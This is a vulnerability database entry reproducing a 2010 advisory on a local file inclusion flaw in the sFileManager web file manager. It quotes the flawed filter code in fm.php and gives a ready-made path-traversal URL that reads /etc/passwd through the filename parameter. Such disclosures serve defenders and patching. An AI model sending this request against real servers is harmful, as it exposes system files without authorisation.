Lucene search
K

sFileManager <= v.24a Local File Inclusion Vulnerability

🗓️ 14 Aug 2010 00:00:00Reported by PepeluxType 
zdt
 zdt
🔗 0day.today👁 8 Views

sFileManager web-based file management utility <= v.24a Local File Inclusion Vulnerabilit

Code
========================================================
sFileManager <= v.24a Local File Inclusion Vulnerability
========================================================

$ Program: sFileManager
$ Version: <= v.24a
$ File affected: fm.php
$ Download: http://onedotoh.sourceforge.net/
 
 
Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org - www.pepelux.org
 
----- by the author -----
Simple File Manager (SFM) is a web based file management utility. It is designed to be
used by those that don't want to use ftp or SHOULD NOT use ftp. It can be dropped into
a specific directory and give access to that directory as well as any directory below
it, including those created by SFM. It can be placed in a specific directory and
configured to give access to other directories outside of its location (centralized).
SFM gives its user upload, rename, delete, directory creation as well as directory
navigation (within its tree limits), as well as Create New File; it also includes an
image viewer, text viewer and mime type downloading.
-------------------------
 
 
-- BUG --
When you click to download a file there are two params:
 
http://www.host.com/fm.php?action=download&filename=file.txt&pathext=pub/&u=&copt=1&sortKey=0
 
action  = file to download
pathext = directory where the file is located
 
 
You can't do:
http://www.host.com/fm.php?action=download&filename=passwd&pathext=pub/../../../../etc/&u=&copt=1&sortKey=0
 
because in fm.php:
 
231 ... if (ereg("\.\./", $pathext)) {
232 ...     $hack="<font color=red><b>HACK ATTEMPT - SysOp Notified</b></font><p>";
233 ...     $pathext="";
234 ... }
 
 
but $action is not checked and you can do:
http://www.host.com/fm.php?action=download&filename=../../../../../etc/passwd&pathext=pub/&u=&copt=1&sortKey=0



#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation